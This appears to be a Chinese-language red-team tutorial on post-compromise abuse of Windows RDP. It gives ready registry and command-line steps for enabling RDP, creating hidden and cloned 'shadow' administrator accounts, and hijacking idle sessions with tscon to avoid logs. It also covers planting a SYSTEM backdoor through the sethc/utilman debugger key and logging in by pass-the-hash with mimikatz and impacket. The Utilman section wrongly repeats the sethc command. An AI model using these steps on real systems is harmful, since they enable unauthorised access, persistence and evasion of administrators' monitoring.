
rdp服务是我们常用的服务,可以不是3389端口,可以改成任意端口,时候为了利用它,必须先找出来服务端口,毕竟管理员也鸡贼。
查看rdp服务端口
REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /V PortNumber得到连接端口为 0xd3d,转换后为 3389
开启rdp服务
老版本和新版windows版本不一样
windows server 2003
开启:
REG ADD \"HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\" /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
关闭:
REG ADD \"HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\" /v fDenyTSConnections /t REG_DWORD /d 11111111 /f
开启:
wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1`
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
REG ADD "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /fwindows server 2008
开启:
REG ADD "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x00000d3d /f如果还不行,就防火墙放行rdp服务端口,就可以连接了。
1.1 前言
在红队活动中,红队人员当拿到一个windows服务器往往为了获取更多有用的东西或进行一波操作,会开启3389,这时候如果当前用户在线,如果用当前的用户账户去连,会把session挤掉,容易引起管理员警觉,这时候一般都会去添加用户,把用户提升为管理员权限,这时候添加一个隐藏的用户和克隆管理员用户手法就很重要。
1.2 实操
在windows中,添加账户名后面加入$符合可以使该用户在命令行中隐藏
例如:

我这里添加了一个普通用户,但是用net user命令却看不懂此用户。
但实际上确实是存在的

但一般的话,我们可以直接更改guest用户权限,将会更加隐蔽。
接下来我们来创建一个影子管理员账户,将更加nice!
打开注册表,找到HKEY_LOCAL_MACHINE\SAM\SAM\ 键,右键设置权限:

因为这里我们需要更改SAM,但是系统默认只能system修改,这里必须改成管理员也能修改才行。
再次打开注册表,查看各个用户的类型值

发现每个用户的类型值都不一样,而管理员用户和Guest用户都是0X1f开头的,而这几个键值正好对应着上面的键,选择管理员对应的,把F键值复制了

然后打开admin$用户对应的,粘贴进去,然后保存。

然后把右键Names中的admin$和000003EB两个目录,选择导出,将注册表导出。
最后一步很重要,为了不让出现在组里面,必须删除用户
net user admin$ /del再双击刚才导出的两个注册表,重新注册admin$用户,这样权限也是administators影子账户就创建好了。

2.1 前言
在我们拿到主机系统权限时,但是我们没有拿到管理员的凭据,增加用户又动静太大,但是我们通过rdp连接记录发现,管理员3天前(3天之内吧,前提是没有更改组策略设置以使用户断开RDP会话后立即或短期注销,而是使“断开连接的”远程桌面会话长时间处于休眠状态)通过rdp登陆过此系统,那么我们就可以通过rdp劫持的方式,来“恢复”先前断开的RDP会话,而这种的好处就是攻击者会逃避事件监视器,因为攻击者并没有创建新的会话,而是有效地充当被劫持会话的用户,取而代之,所以日志文件中无法显示会话劫持记录,也记录不到。
2.2 实操
远程桌面协议(RDP),为系统管理员提供了一种方便的方法来管理Windows系统并帮助用户解决问题。
前提:system权限可以以无凭据的方式在不同的用户会话之间切换
2.3 无密码劫持
这里我们利用Windows自带的Tscon.exe程序来进行RDP劫持,Tscon.exe可以使用户可以连接到系统上的其他远程桌面会话,或在不同的会话之间切换。
适用于:
Applies to: Windows Server (Semi-Annual Channel), Windows Server 2019, Windows Server 2016, Windows Server 2012 R2, Windows Server 2012微软介绍:
https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/dn283323(v=ws.11)tscon {<SessionID> | <SessionName>} [/dest:<SessionName>] [/password:<pw> | /password:*] [/v]实操:
query user 查看所有已连接的RDP用户然后连接到此会话
tscon 1#会话id相关工具:https://github.com/bohops/SharpRDPHijack
minikatz也可以作会话劫持
粘滞键
该功能是操作系统内置的可访问性功能,并且可以进行预登录(在登录屏幕上,通过物理控制台或通过远程桌面)。
将Sethc.exe(粘滞键)设置为生成cmd.exe,那么rdp连接就会拥有一个system权限后门
1.通过安全模式来更改(需要重启,不推荐)
2.通过注册表来更改,或者手工去系统目录下去改名
REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /t REG_SZ /v Debugger /d “C:\windows\system32\cmd.exe” /f然后进入rdp连接,连按几次F5
Utilman
和粘滞键完全相同,只是使用了trojan utilman.exe,在登录屏幕上,按Windows键+ U,您将获得一个cmd.exe窗口,权限为SYSTEM。
REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /t REG_SZ /v Debugger /d “C:\windows\system32\cmd.exe” /f4.1 前言
有时候抓不到明文密码,也想登陆rdp服务咋办?这时候就可以PTH RDP,利用hash去认证rdp服务。
关于RDP协议的参考资料:
https://github.com/FreeRDP/FreeRDP/wiki/Reference-Documentation如果使用hash远程登录RDP,服务端需要开启"Restricted Admin Mode",在Windows8.1和Windows Server 2012R2上默认开启,Client 也需要支持Restricted Admin mode。
手动修改注册表开启方法
位置:
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa新建DWORD键值DisableRestrictedAdmin,值为0,代表开启;值为1,代表关闭
REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v DisableRestrictedAdmin /t REG_DWORD /d 00000000 /f
查看是否已开启
REG query "HKLM\System\CurrentControlSet\Control\Lsa" | findstr "DisableRestrictedAdmin"使用minikatz来进行PTH
privilege::debug
sekurlsa::pth /user:admin /domain:DESKTOP /ntlm:hash"/run:mstsc.exe /restrictedadmin"也可以用Python实现(rdp_check.py)
代码地址:
https://github.com/SecureAuthCorp/impacket/blob/master/examples/rdp_check.py脚本运行前需要安装Impacket
rdp_check.py /administrator@192.168.1.1 -hashes:hashesRdp爆破就不说了
END